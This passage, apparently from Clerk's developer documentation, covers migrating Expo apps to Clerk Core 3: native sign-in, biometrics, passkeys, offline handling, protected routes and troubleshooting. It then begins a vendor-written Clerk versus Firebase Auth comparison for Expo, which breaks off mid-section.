    <Stack
      screenOptions={{
        headerRight: () => (
          <View style={{ width: 36, height: 36, borderRadius: 18, overflow: 'hidden' }}>
            <UserButton />
          </View>
        ),
      }}
    >
      <Stack.Screen name="index" options={{ title: 'Home' }} />
    </Stack>
  )
}
```

`UserButton` has no props. The parent container controls its size and shape. Sign-out is handled automatically and synced with the JS SDK.

### UserProfileView: Full Profile Management

For a full user profile management screen, use the `useUserProfileModal()` hook:

```tsx {{ filename: 'app/(home)/profile.tsx' }}
import { useUserProfileModal } from '@clerk/expo'
import { Pressable, Text } from 'react-native'

export default function ProfileScreen() {
  const { presentUserProfile } = useUserProfileModal()

  return (
    <Pressable onPress={() => presentUserProfile()}>
      <Text>Manage Profile</Text>
    </Pressable>
  )
}
```

The modal provides personal info, security settings, account switching, MFA, passkeys, connected accounts, and sign-out.

### Session Synchronization

Native components use a separate native SDK. The `NativeSessionSync` component inside `ClerkProvider` handles bidirectional sync:

1. Native auth completes and creates a session
2. Bearer token syncs to the native SDK
3. JS SDK picks up the session
4. React hooks reflect the new auth state

Use `useEffect` to react to auth state changes. Don't use imperative callbacks. Always set `treatPendingAsSignedOut` to `false` with native components to avoid a flash of signed-out content during sync.

### Web Compatibility

For Expo web projects, use `@clerk/expo/web` which provides prebuilt web components (`SignIn`, `SignUp`, `UserButton`, etc.). These throw on native. Keep native and web paths separate with platform checks.

## Step 9: Native Authentication Hooks

### Google Sign-In Without a WebView

`useSignInWithGoogle` uses platform-native APIs: ASAuthorization on iOS, Credential Manager on Android. No browser redirect.

Install the required peer dependency:

```bash
npx expo install expo-crypto
```

Configure 3 OAuth client IDs in the Google Cloud Console (iOS, Android, Web) and set them as environment variables ([Google Sign-In guide](/docs/expo/guides/configure/auth-strategies/sign-in-with-google)).

```tsx {{ filename: 'components/GoogleSignIn.tsx' }}
import { useSignInWithGoogle } from '@clerk/expo/google'
import { useRouter } from 'expo-router'
import { Alert, Platform, Pressable, Text } from 'react-native'

export function GoogleSignInButton() {
  if (Platform.OS !== 'ios' && Platform.OS !== 'android') return null

  const { startGoogleAuthenticationFlow } = useSignInWithGoogle()
  const router = useRouter()

  const onPress = async () => {
    try {
      const { createdSessionId, setActive } = await startGoogleAuthenticationFlow()

      if (createdSessionId && setActive) {
        await setActive({ session: createdSessionId })
        router.replace('/')
      }
    } catch (err: any) {
      if (err.code === 'SIGN_IN_CANCELLED' || err.code === '-5') return
      Alert.alert('Error', err.message || 'Google sign-in failed')
    }
  }

  return (
    <Pressable onPress={onPress}>
      <Text>Sign in with Google</Text>
    </Pressable>
  )
}
```

### Apple Sign-In (iOS Only)

Install the required peer dependencies:

```bash
npx expo install expo-apple-authentication expo-crypto
```

Register in the Clerk Dashboard with your Team ID + Bundle ID ([Apple Sign-In guide](/docs/expo/guides/configure/auth-strategies/sign-in-with-apple)).

```tsx {{ filename: 'components/AppleSignIn.tsx' }}
import { useSignInWithApple } from '@clerk/expo/apple'
import { useRouter } from 'expo-router'
import { Alert, Platform, Pressable, Text } from 'react-native'

export function AppleSignInButton() {
  if (Platform.OS !== 'ios') return null

  const { startAppleAuthenticationFlow } = useSignInWithApple()
  const router = useRouter()

  const onPress = async () => {
    try {
      const { createdSessionId, setActive } = await startAppleAuthenticationFlow()

      if (createdSessionId && setActive) {
        await setActive({ session: createdSessionId })
        router.replace('/')
      }
    } catch (err: any) {
      if (err.code === 'ERR_REQUEST_CANCELED') return
      Alert.alert('Error', err.message || 'Apple sign-in failed')
    }
  }

  return (
    <Pressable onPress={onPress}>
      <Text>Sign in with Apple</Text>
    </Pressable>
  )
}
```

### Biometric Authentication with Local Credentials

`useLocalCredentials` enables biometric authentication (Face ID, fingerprint) for password-based sign-in. It stores encrypted credentials on-device after the first password sign-in.

Install the required peer dependencies:

```bash
npx expo install expo-local-authentication expo-secure-store
```

Properties: `hasCredentials`, `userOwnsCredentials`, `biometricType` (`'face-recognition'` | `'fingerprint'` | `null`). Methods: `setCredentials()`, `clearCredentials()`, `authenticate()`.

Workflow:

1. User signs in with password
2. Call `setCredentials()` to store credentials
3. On future launches, call `authenticate()` for biometric sign-in

```tsx {{ filename: 'app/(auth)/sign-in.tsx' }}
import { useSignIn, useClerk } from '@clerk/expo'
import { useLocalCredentials } from '@clerk/expo/local-credentials'
import { useState } from 'react'
import { Text, TextInput, Pressable, View } from 'react-native'
import { useRouter, type Href } from 'expo-router'

export default function SignInScreen() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const { setActive } = useClerk()
  const { hasCredentials, setCredentials, authenticate, biometricType } = useLocalCredentials()
  const [email, setEmail] = useState('')
  const [password, setPassword] = useState('')
  const router = useRouter()

  // Biometric sign-in for returning users.
  // authenticate() returns a SignInResource (Core 2 type), so use
  // setActive() from useClerk() instead of signIn.finalize().
  const onBiometricSignIn = async () => {
    const result = await authenticate()
    if (result.status === 'complete') {
      await setActive({ session: result.createdSessionId })
      router.replace('/')
    }
  }

  // Password sign-in with credential storage (Core 3 authentication hook API)
  const onPasswordSignIn = async () => {
    await signIn.password({ emailAddress: email, password })

    if (signIn.status === 'complete') {
      // Store credentials for future biometric sign-in
      await setCredentials({ identifier: email, password })
      await signIn.finalize({
        navigate: ({ session, decorateUrl }) => {
          if (session?.currentTask) return
          router.push(decorateUrl('/') as Href)
        },
      })
    }
  }

  return (
    <View>
      {hasCredentials && biometricType ? (
        <Pressable onPress={onBiometricSignIn} disabled={fetchStatus === 'fetching'}>
          <Text>
            {biometricType === 'face-recognition'
              ? 'Sign in with Face ID'
              : 'Sign in with Fingerprint'}
          </Text>
        </Pressable>
      ) : null}

      <TextInput value={email} onChangeText={setEmail} placeholder="Email" />
      <TextInput value={password} onChangeText={setPassword} secureTextEntry />
      {errors?.fields?.identifier ? <Text>{errors.fields.identifier.message}</Text> : null}
      <Pressable onPress={onPasswordSignIn} disabled={fetchStatus === 'fetching'}>
        <Text>Sign In</Text>
      </Pressable>
    </View>
  )
}
```

> \[!NOTE]
> Local credentials only work for password-based sign-in on native platforms (not web). See the [Local Credentials guide](/docs/guides/development/local-credentials).

## Step 10: Passkeys Configuration

Passkeys provide passwordless authentication using WebAuthn. This feature is experimental in `@clerk/expo`.

### Installation

```bash
npx expo install @clerk/expo-passkeys expo-build-properties
npx expo prebuild
```

Enable passkeys in your Clerk Dashboard's authentication settings. Then configure `ClerkProvider`:

```tsx {{ filename: 'app/_layout.tsx' }}
import { ClerkProvider } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { passkeys } from '@clerk/expo/passkeys'
import { Slot } from 'expo-router'

export default function RootLayout() {
  return (
    <ClerkProvider
      publishableKey={process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!}
      tokenCache={tokenCache}
      __experimental_passkeys={passkeys}
    >
      <Slot />
    </ClerkProvider>
  )
}
```

> \[!WARNING]
> `@clerk/expo-passkeys` has a peer dependency of `expo >=53 <55`, which is narrower than `@clerk/expo`'s range of `>=53 <56`. If you're on Expo SDK 55, check for an updated version of `@clerk/expo-passkeys` before installing.

### iOS Requirements

- iOS 16+ required for passkeys (Apple added passkey support in iOS 16)
- Set the iOS deployment target to 16.0 or higher manually with `expo-build-properties`. The `@clerk/expo` config plugin does not set a deployment target automatically.
- Register your app in Clerk Dashboard with App ID Prefix + Bundle ID (from Apple Developer portal's Identifiers page)
- Configure associated domains in `app.json`:

```json {{ filename: 'app.json' }}
{
  "expo": {
    "ios": {
      "associatedDomains": [
        "applinks:<YOUR_FRONTEND_API_URL>",
        "webcredentials:<YOUR_FRONTEND_API_URL>"
      ]
    },
    "plugins": [["expo-build-properties", { "ios": { "deploymentTarget": "16.0" } }]]
  }
}
```

### Android Requirements

- Android 9+ required
- **Physical device only.** Emulators don't support passkeys.
- Register in Clerk Dashboard with your package name and SHA256 certificate fingerprints
- Configure intent filters:

```json {{ filename: 'app.json' }}
{
  "expo": {
    "android": {
      "intentFilters": [
        {
          "action": "VIEW",
          "autoVerify": true,
          "data": [{ "scheme": "https", "host": "<YOUR_FRONTEND_API_URL>" }],
          "category": ["BROWSABLE", "DEFAULT"]
        }
      ]
    }
  }
}
```

Verify setup with Google's Statement List Generator tool.

### Passkey Methods (Core 3)

Create a passkey:

```tsx {{ filename: 'components/CreatePasskey.tsx' }}
import { useUser } from '@clerk/expo'

function CreatePasskeyButton() {
  const { user } = useUser()

  const onCreate = async () => {
    await user.createPasskey()
  }

  // render button...
}
```

Sign in with a passkey:

```tsx {{ filename: 'components/PasskeySignIn.tsx' }}
import { useSignIn } from '@clerk/expo'
import { useRouter, type Href } from 'expo-router'

function PasskeySignIn() {
  const { signIn } = useSignIn()
  const router = useRouter()

  const onSignIn = async () => {
    await signIn.passkey({ flow: 'discoverable' })

    if (signIn.status === 'complete') {
      await signIn.finalize({
        navigate: ({ session, decorateUrl }) => {
          if (session?.currentTask) return
          router.push(decorateUrl('/') as Href)
        },
      })
    }
  }

  // render button...
}
```

Flow options: `'discoverable'` (requires user interaction) or `'autofill'` (prompts before interaction).

## Step 11: Offline Support and ClerkOfflineError

### Breaking Change: getToken() Behavior

In Core 2, `getToken()` returned `null` when offline. This was ambiguous: it could mean signed out or offline. Core 3 throws `ClerkOfflineError` after a \~15 second retry period, making the distinction explicit.

Before (Core 2):

```tsx {{ filename: 'utils/api.tsx' }}
import { useAuth } from '@clerk/clerk-expo'

function useApiClient() {
  const { getToken } = useAuth()

  const fetchData = async () => {
    const token = await getToken()
    if (!token) {
      // Could be signed out OR offline. No way to tell.
      return null
    }
    // make API call with token
  }
}
```

After (Core 3, `@clerk/expo` `>=3.0.0`):

```tsx {{ filename: 'utils/api.tsx' }}
import { useAuth } from '@clerk/expo'
import { ClerkOfflineError } from '@clerk/react/errors'

function useApiClient() {
  const { getToken } = useAuth()

  const fetchData = async () => {
    try {
      const token = await getToken()
      if (!token) {
        // Definitively signed out
        return null
      }
      // make API call with token
    } catch (error) {
      if (ClerkOfflineError.is(error)) {
        // Definitively offline. Show cached data or retry UI.
        return null
      }
      throw error
    }
  }
}
```

Expo's custom `useAuth` override adds JWT caching: if a network error occurs, it returns the cached token instead of throwing. This makes offline transitions smoother.

> \[!TIP]
> `ClerkOfflineError.is()` is for `getToken()` calls specifically. For custom sign-in/sign-up flows, use `isClerkRuntimeError` from `@clerk/expo` with the `network_error` code instead:
>
> ```tsx
> import { isClerkRuntimeError } from '@clerk/expo'
>
> try {
>   await signIn.password({ emailAddress: email, password })
> } catch (err) {
>   if (isClerkRuntimeError(err) && err.code === 'network_error') {
>     // Handle offline scenario in custom flows
>   }
> }
> ```
>
> See the [Offline Support guide](/docs/guides/development/offline-support) for details.

### Experimental Offline Support

For full offline resilience, pass `resourceCache` to `ClerkProvider`. It caches authentication state, environment data, and session JWTs using `expo-secure-store`.

```tsx {{ filename: 'app/_layout.tsx' }}
import { ClerkProvider } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { resourceCache } from '@clerk/expo/resource-cache'
import { Slot } from 'expo-router'

export default function RootLayout() {
  return (
    <ClerkProvider
      publishableKey={process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!}
      tokenCache={tokenCache}
      __experimental_resourceCache={resourceCache}
    >
      <Slot />
    </ClerkProvider>
  )
}
```

The resource cache stores authentication state using `expo-secure-store` for encrypted persistent storage ([Offline Support, 2024-12-12](/changelog/2024-12-12-expo-offline-support)).

### Token Refresh Strategy

Clerk uses a hybrid auth model: client tokens (long-lived, on the FAPI domain) and session tokens (60-second expiry, on the app domain). The SDK handles token refresh automatically in the background, so sessions stay valid without manual intervention ([How Clerk Works](/docs/guides/how-clerk-works/overview)). No code changes required.

## Step 12: Expo Router Protected Routes

### Layout-Based Route Protection

Use route groups with `_layout.tsx` files for authentication-based routing:

```tsx {{ filename: 'app/(home)/_layout.tsx' }}
import { useAuth } from '@clerk/expo'
import { Redirect, Stack } from 'expo-router'

export default function HomeLayout() {
  const { isSignedIn, isLoaded } = useAuth()

  if (!isLoaded) return null

  if (!isSignedIn) {
    return <Redirect href="/(auth)/sign-in" />
  }

  return <Stack />
}
```

The auth route layout redirects signed-in users away:

```tsx {{ filename: 'app/(auth)/_layout.tsx' }}
import { useAuth } from '@clerk/expo'
import { Redirect, Stack } from 'expo-router'

export default function AuthLayout() {
  const { isSignedIn, isLoaded } = useAuth()

  if (!isLoaded) return null

  if (isSignedIn) {
    return <Redirect href="/(home)" />
  }

  return <Stack />
}
```

### Authorization-Based Route Protection

Protect admin routes using `<Show>` with organization roles:

```tsx {{ filename: 'app/(home)/admin/_layout.tsx' }}
import { Show } from '@clerk/expo'
import { Stack } from 'expo-router'
import { Text } from 'react-native'

export default function AdminLayout() {
  return (
    <Show when={{ role: 'org:admin' }} fallback={<Text>Not authorized</Text>}>
      <Stack />
    </Show>
  )
}
```

> \[!TIP]
> `useAuth()` and `useUser()` work with any navigation library (React Navigation, etc.), not only Expo Router. The auth state hooks are navigation-agnostic.

## Organizations and Multi-Tenant Authorization

Organizations in Core 3 use the same `<Show>` component for [multi-tenant](/glossary/multi-tenancy) authorization checks.

### Organization Authorization Patterns

```tsx {{ filename: 'app/(home)/dashboard.tsx' }}
import { Show } from '@clerk/expo'
import { Text, View } from 'react-native'

export default function Dashboard() {
  return (
    <View>
      <Show when={{ role: 'org:admin' }}>
        <Text>Admin panel: manage members and settings</Text>
      </Show>

      <Show when={{ permission: 'org:invoices:create' }}>
        <Text>Create and manage invoices</Text>
      </Show>

      <Show when={{ feature: 'premium_access' }}>
        <Text>Premium content for subscribers</Text>
      </Show>

      <Show when={{ plan: 'enterprise' }}>
        <Text>Enterprise features: SSO, audit logs</Text>
      </Show>

      <Show
        when={(has) => has({ role: 'org:admin' }) || has({ permission: 'org:billing:manage' })}
        fallback={<Text>Access restricted</Text>}
      >
        <Text>Billing management</Text>
      </Show>
    </View>
  )
}
```

### User Management

`UserProfileView` provides self-service user management including personal info, security settings, and account switching. Use the `useUserProfileModal()` hook for modal presentation or render `UserProfileView` inline from `@clerk/expo/native`.

For session management, the native SDK handles session lifecycle, switching, and sign-out automatically when using native components.

## Testing and Validation

### Pre-Migration Checklist

Run through this checklist after completing all migration steps:

- Ran `npx @clerk/upgrade` CLI
- Package renamed from `@clerk/clerk-expo` to `@clerk/expo`
- All import paths updated (see import reference table in Step 2)
- `publishableKey` explicitly passed to `ClerkProvider`
- `tokenCache` from `@clerk/expo/token-cache` configured
- `app.json` plugins updated (`@clerk/expo`, `expo-secure-store`)
- `SignedIn`/`SignedOut`/`Protect` replaced with `<Show>`
- Hook API calls updated to Core 3 authentication API
- Environment variables updated to `EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY`
- Redirect props renamed (`afterSignInUrl` to `signInFallbackRedirectUrl`)
- `useOAuth` replaced with `useSSO` if applicable
- `@clerk/types` imports moved to `@clerk/shared/types`

### Testing Authentication Flows

| Flow                   | What to Test                                                           |
| ---------------------- | ---------------------------------------------------------------------- |
| Email/password sign-in | `signIn.password()` completes, `signIn.finalize()` navigates correctly |
| Email/password sign-up | `signUp.password()`, email verification, `signUp.finalize()`           |
| OAuth (native)         | Google and Apple native flows on device                                |
| OAuth (browser)        | `useSSO` flows with browser redirect                                   |
| MFA                    | `needs_second_factor` status, `signIn.mfa.verifyEmailCode()`           |
| Client Trust           | `needs_client_trust` on new device with password                       |
| Sign-out               | Session cleanup, UI updates                                            |

### Testing Authorization

- Verify `<Show>` with role-based conditions shows/hides correctly
- Verify `<Show>` with permission-based conditions
- Verify fallback content renders for unauthorized users
- Test organization switching and role changes in real-time

### Testing Native Components

- AuthView renders and completes auth flow on iOS and Android
- UserButton displays avatar, opens profile modal
- `treatPendingAsSignedOut: false` is set on `useAuth()` and `<Show>`
- Session sync completes within \~3 seconds of native auth

### Testing Offline and Error Handling

- Disable network, verify `ClerkOfflineError` is caught (not null)
- Test biometric auth if using `useLocalCredentials`
- Test passkeys on physical devices (not emulators)

### Development vs. Production

| Environment       | How to Test                                                                                                    |
| ----------------- | -------------------------------------------------------------------------------------------------------------- |
| Development build | `npx expo run:ios` / `npx expo run:android`                                                                    |
| Production-like   | EAS Build                                                                                                      |
| API keys          | Switch from `pk_test_` to `pk_live_` ([Production deployment](/docs/guides/development/deployment/production)) |
| Native features   | Verify in production builds via EAS                                                                            |

## Troubleshooting Common Migration Issues

### Breaking Changes Quick Reference

| Change                 | Before (Core 2)                      | After (Core 3)                            |
| ---------------------- | ------------------------------------ | ----------------------------------------- |
| Package name           | `@clerk/clerk-expo`                  | `@clerk/expo`                             |
| Control components     | `SignedIn` / `SignedOut` / `Protect` | `Show`                                    |
| Sign-in API            | `signIn.create()` + `setActive()`    | `signIn.password()` + `signIn.finalize()` |
| Sign-up API            | `signUp.create()` + `setActive()`    | `signUp.password()` + `signUp.finalize()` |
| Environment variable   | `CLERK_FRONTEND_API`                 | `EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY`       |
| Token offline behavior | Returns `null`                       | Throws `ClerkOfflineError`                |
| Expo SDK minimum       | 50.0.0+                              | 53.0.0+                                   |
| Node.js minimum        | 18.17.0+                             | 20.9.0+                                   |
| OAuth hooks            | `useOAuth()`                         | `useSSO()`                                |
| Native OAuth imports   | `@clerk/clerk-expo`                  | `@clerk/expo/apple`, `@clerk/expo/google` |
| Appearance config      | `appearance.layout`                  | `appearance.options`                      |
| Redirect props         | `afterSignInUrl`                     | `signInFallbackRedirectUrl`               |
| SAML strategy          | `strategy: 'saml'`                   | `strategy: 'enterprise_sso'`              |
| Error kind             | `'ClerkApiError'`                    | `'ClerkAPIError'`                         |
| Active sessions        | `client.activeSessions`              | `client.sessions`                         |
| Clerk export           | `import { Clerk }`                   | `useClerk()` / `getClerkInstance()`       |
| setActive callback     | `beforeEmit`                         | `navigate`                                |
| Passkey sign-in        | `signIn.authenticateWithPasskey()`   | `signIn.passkey()`                        |

### Common Errors and Fixes

| Error                                  | Cause                       | Fix                                                                        |
| -------------------------------------- | --------------------------- | -------------------------------------------------------------------------- |
| `Cannot find module @clerk/clerk-expo` | Package not renamed         | `npx expo install @clerk/expo`                                             |
| `publishableKey is required`           | Not passed explicitly       | Add `EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY` to `.env`, pass to `ClerkProvider` |
| Native components don't render         | Using Expo Go               | Run `npx expo run:ios` or `npx expo run:android`                           |
| Tokens lost on restart                 | `expo-secure-store` missing | `npx expo install expo-secure-store`, add `tokenCache`                     |
| OAuth fails                            | Native API not enabled      | Enable at Dashboard's Native Applications page                             |
| Passkeys fail on emulator              | Not supported               | Use a physical device                                                      |
| `ClerkOfflineError` not caught         | Using null-check pattern    | Switch to try/catch with `ClerkOfflineError.is(error)`                     |
| App crashes in production              | `publishableKey` missing    | Env vars aren't inlined in RN builds; pass explicitly                      |

## Frequently Asked Questions

---

# Clerk vs Firebase Authentication for Expo
URL: https://clerk.com/articles/clerk-vs-firebase-authentication-for-expo.md
Date: 2026-04-02
Description: A detailed comparison of Clerk and Firebase Auth for Expo apps. Covers setup, native components, passkeys, session management, organizations, and SDK stability across Expo SDK upgrades.

Clerk is the stronger choice for Expo apps, offering an Expo-first SDK with native SwiftUI and Jetpack Compose components, built-in [passkey](/glossary#passkeys) support, and stable compatibility across Expo SDK upgrades. Firebase Auth integrates with Google's broader ecosystem but has experienced recurring compatibility issues with Expo's Metro bundler and requires workarounds for newer Expo SDK versions. Clerk also provides built-in organization management and [multi-tenancy](/glossary#multi-tenancy) features that Firebase Auth lacks natively.

Why compare now? Expo SDK 53 shifted the playing field. Metro bundler's `package.json exports` support broke Firebase JS SDK integrations, triggering "Component auth has not been registered yet" errors and `initializeAuth()` crashes on Hermes ([Expo SDK 53 Changelog, 2025](https://expo.dev/changelog/sdk-53); [expo#36588](https://github.com/expo/expo/issues/36588); [firebase-js-sdk#9020](https://github.com/firebase/firebase-js-sdk/issues/9020)). Workarounds exist, but each subsequent Expo SDK release has introduced new Firebase friction. Clerk shipped [Core 3](/changelog/2026-03-03-core-3) with native components, and the gap between these two has widened since early 2025.

## Quick comparison

| Dimension                                               |                          Clerk                          |                               Firebase Auth                              |
| :------------------------------------------------------ | :-----------------------------------------------------: | :----------------------------------------------------------------------: |
| Expo Go support (no dev build)                          | Email/password, email codes, phone codes, browser OAuth |                           JS SDK only (limited)                          |
| Native prebuilt UI                                      |                                                         |                                                                          |
| [Passkeys](/glossary#passkeys)                          |                                                         |                                                                          |
| [Biometric](/glossary#biometric-authentication) sign-in |                                                         |                                                                          |
| Native Google Sign-In                                   |                                                         |                        Via RN Firebase (dev build)                       |
| Native Apple Sign-In                                    |                                                         |                        Via RN Firebase (dev build)                       |
| Organizations / RBAC                                    |                                                         |                                                                          |
| [MFA](/glossary#multi-factor-authentication-mfa)        |                                                         |                        Requires Identity Platform                        |
| Enterprise [SSO](/glossary/single-sign-on-sso) (SAML)   |                                                         |                        Requires Identity Platform                        |
| [Session management](/glossary#session-management)      |              Automatic (expo-secure-store)              |            JS SDK: manual (AsyncStorage); RN Firebase: native            |
| SDK stability with Expo upgrades                        |                                                         | Breakages documented per SDK release (53, 54, 55); workarounds available |

## Understanding the two approaches

### Clerk: auth is the entire product

Clerk is a dedicated auth platform. The Expo SDK ([`@clerk/expo`](/docs/reference/expo/overview)) is a first-party package maintained by Clerk's team. It uses a hybrid stateful + stateless architecture: short-lived 60-second [session tokens](/glossary#customizable-session-tokens) auto-refresh in the background, stored in encrypted on-device storage via `expo-secure-store` ([How Clerk Works](/docs/guides/how-clerk-works/overview)).

Because auth is the whole product, Clerk goes deeper on auth-specific features: [passkeys](/docs/reference/expo/passkeys), native SwiftUI/Jetpack Compose components, built-in [organizations](/docs/organizations/overview), and prebuilt UI that works out of the box. Expo's own authentication guide lists Clerk first, describing it as a "powerful, full-featured authentication service with excellent Expo support" ([Expo Authentication Guide, 2026](https://docs.expo.dev/develop/authentication/)).

### Firebase Auth: auth as part of a bigger ecosystem

Firebase Auth is one piece of Google's [BaaS](/glossary#backend-as-a-service-baas) (Firestore, Cloud Functions, Storage, Analytics). For Expo, two SDK paths exist, which is itself a source of confusion:

**Firebase JS SDK** (`firebase` npm package): first-party Google, works in Expo Go, limited to web-compatible features. No Analytics or Crashlytics on mobile. Requires manual persistence setup via `getReactNativePersistence` + AsyncStorage. Expo SDK 53+ requires `firebase@^12.0.0`; earlier versions cause ES module resolution errors ([Expo Firebase guide](https://docs.expo.dev/guides/using-firebase/)).

**React Native Firebase** (`@react-native-firebase/*` by Invertase): community-maintained, requires a dev build, wraps native iOS/Android SDKs, supports all Firebase services. Auth persistence is handled natively.

### Expo SDK compatibility at a glance

| Expo SDK | Clerk (`@clerk/expo`) |                        Firebase JS SDK                       |                   React Native Firebase                   |
| -------: | :-------------------: | :----------------------------------------------------------: | :-------------------------------------------------------: |
|      53+ |          3.0+         | `firebase@^12.0.0` required; Metro exports workaround needed |               Works with config plugin fixes              |
|       54 |                       |                        Same as SDK 53                        | `forceStaticLinking` + `useFrameworks: "static"` required |
|       55 |                       |                        Same as SDK 53                        |     Same config as SDK 54; New Architecture mandatory     |

The architectural tradeoff is clear. Clerk goes deeper on auth. Firebase gives you a database, functions, and storage alongside auth, but auth gets less focused attention.

## How this comparison is structured

This article evaluates Clerk and Firebase across five dimensions. The table below shows what each measures and which provider the evidence favors, so you can weight them against your own priorities.

| Dimension            | What it measures                            |   Favors   | Key evidence                                                                  |
| :------------------- | :------------------------------------------ | :--------: | :---------------------------------------------------------------------------- |
| Developer experience | Setup time, Expo Go support, API ergonomics |    Clerk   | 2 packages vs SDK path decision; prebuilt UI vs build-from-scratch            |
| Feature depth        | Auth methods, orgs, passkeys, native UI     |    Clerk   | Passkeys, native components, organizations absent in Firebase                 |
| SDK stability        | Compatibility across Expo SDK upgrades      |    Clerk   | No documented breakages vs 3 consecutive SDK cycles with Firebase issues      |
| Migration / lock-in  | Data portability, migration tooling         | Comparable | Official migration path exists both directions; Clerk provides import tooling |

These dimensions aren't numerically scored. The evidence is presented for each throughout the article. Your team's priorities determine which dimensions matter most.

## Developer experience and setup

### Clerk setup

Two packages, one environment variable, and a provider wrapper. This works in Expo Go for basic flows ([Expo Using Clerk Guide](https://docs.expo.dev/guides/using-clerk/); [Hyperknot Auth Provider Comparison, 2024](https://blog.hyperknot.com/p/comparing-auth-providers)).

Install:

```bash
npx expo install @clerk/expo expo-secure-store
```

Add your publishable key to `.env`:

```bash
EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_...
```

Wrap your root layout with `ClerkProvider`:

```tsx
import { ClerkProvider, ClerkLoaded } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { Slot } from 'expo-router'

export default function RootLayout() {
  return (
    <ClerkProvider
      publishableKey={process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!}
      tokenCache={tokenCache}
    >
      <ClerkLoaded>
        <Slot />
      </ClerkLoaded>
    </ClerkProvider>
  )
}
```

Check auth state and conditionally render:

```tsx
import { useAuth } from '@clerk/expo'
import { Show } from '@clerk/expo/ui'

export default function Home() {
  const { signOut } = useAuth()

  return (
    <Show when="signed-in" fallback={<SignInScreen />}>
      <Text>You're signed in!</Text>
      <Button title="Sign out" onPress={() => signOut()} />
    </Show>
  )
}
```

Build a sign-in screen with the Core 3 hooks API:

```tsx
import { useSignIn } from '@clerk/expo'
import { useState } from 'react'
import { View, TextInput, Button, Text } from 'react-native'
import { useRouter, type Href } from 'expo-router'

export function SignInScreen() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const [email, setEmail] = useState('')
  const [password, setPassword] = useState('')
  const router = useRouter()

  const onSignIn = async () => {
    const { error } = await signIn.password({ emailAddress: email, password })
    if (error) return

    if (signIn.status === 'complete') {
      await signIn.finalize({
        navigate: ({ session, decorateUrl }) => {
          if (session?.currentTask) return
          const url = decorateUrl('/')
          router.push(url as Href)
        },
      })
    } else if (signIn.status === 'needs_second_factor') {
      // Handle MFA: signIn.mfa.sendEmailCode(), etc.
      router.push('/(auth)/mfa')
    }
  }

  return (
    <View>
      <TextInput placeholder="Email" value={email} onChangeText={setEmail} />
      <TextInput
        placeholder="Password"
        value={password}
        onChangeText={setPassword}
        secureTextEntry
      />
      {errors?.fields?.password && <Text>{errors.fields.password.message}</Text>}
      <Button title="Sign in" onPress={onSignIn} disabled={fetchStatus === 'fetching'} />
    </View>
  )
}
```

That's it. Four files, working auth. The [Expo quickstart](/docs/expo/getting-started/quickstart) has the full walkthrough.

### Firebase setup (abbreviated)

Firebase requires choosing an SDK path first, and the choice has cascading consequences.

**Option A: Firebase JS SDK** (works in Expo Go, limited features):

```typescript
import { initializeApp } from 'firebase/app'
import { initializeAuth, getReactNativePersistence } from 'firebase/auth'
import AsyncStorage from '@react-native-async-storage/async-storage'

const app = initializeApp(firebaseConfig)

// Without this, users get logged out every time the app closes
const auth = initializeAuth(app, {
  persistence: getReactNativePersistence(AsyncStorage),
})
```

> \[!NOTE]
> `getReactNativePersistence` had a long-standing TypeScript export bug ([Firebase JS SDK #7584](https://github.com/firebase/firebase-js-sdk/issues/7584), closed October 2023, fixed in later SDK releases). If you're on `firebase@^12.0.0` (required for Expo SDK 53+), this should be resolved. Older versions may still need `// @ts-ignore`.

**Option B: React Native Firebase** (dev build required, full native features):

Requires a development build with native modules, config plugin setup in `app.json`, and `google-services.json` / `GoogleService-Info.plist` configuration. No Expo Go support.

Then you build your own auth state listener:

```typescript
import auth from '@react-native-firebase/auth'
import { useEffect, useState } from 'react'

function useFirebaseAuth() {
  const [user, setUser] = useState(null)

  useEffect(() => {
    return auth().onAuthStateChanged(setUser)
  }, [])

  return user
}
```

After that, you build every auth screen from scratch: sign-in, sign-up, password reset, MFA enrollment, profile management. Firebase provides zero prebuilt UI components for React Native.

### Time to first auth

Clerk: install, wrap with provider, use hooks. Works in Expo Go.

Firebase: choose SDK path, configure native files or persistence, build custom UI from scratch. The JS SDK works in Expo Go for basic email/password, but native features (Google Sign-In, Apple Sign-In) require a dev build and React Native Firebase.

## Authentication methods

| Method                                    | Clerk |                                                 Firebase Auth                                                 |
| :---------------------------------------- | :---: | :-----------------------------------------------------------------------------------------------------------: |
| Email/password                            |       |                                                                                                               |
| Social [OAuth](/glossary#oauth) (browser) |       |                                                                                                               |
| Native Google Sign-In                     |       |                                          RN Firebase only (dev build)                                         |
| Native Apple Sign-In                      |       |                                          RN Firebase only (dev build)                                         |
| Passkeys                                  |       |                                                                                                               |
| Biometric (Face ID / Touch ID)            |       |                                                                                                               |
| Phone / SMS                               |       |                                          reCAPTCHA fallback on JS SDK                                         |
| [Magic links](/glossary#magic-links)      |       | Dynamic Links [shut down Aug 2025](https://firebase.google.com/support/dynamic-links-faq); requires migration |
| Enterprise SSO (SAML/OIDC)                |       |                                       Requires Identity Platform upgrade                                      |
| MFA (TOTP)                                |       |                                               Included in Tier 1                                              |
| MFA (SMS)                                 |       |                                                Charged per SMS                                                |
| Anonymous auth                            |       |                                                                                                               |

### Passkeys

Clerk has native passkey support via [`@clerk/expo-passkeys`](/docs/reference/expo/passkeys) since February 2025. Users create passkeys with `user.createPasskey()` and sign in with `signIn.passkey()`. Requires iOS 16+ or Android 9+ and a development build.

Firebase has no passkey support. The FIDO Alliance reports that over 15 billion online accounts can now sign in using passkeys as of late 2024 ([FIDO Alliance Passkey Index, Oct 2025](https://fidoalliance.org/wp-content/uploads/2025/10/FIDO-Passkey-Index-October-2025.pdf)), with a 93% login success rate compared to 63% for passwords. This is a significant gap for any auth provider to have.

### Native sign-in

Clerk's native sign-in hooks use platform APIs directly:

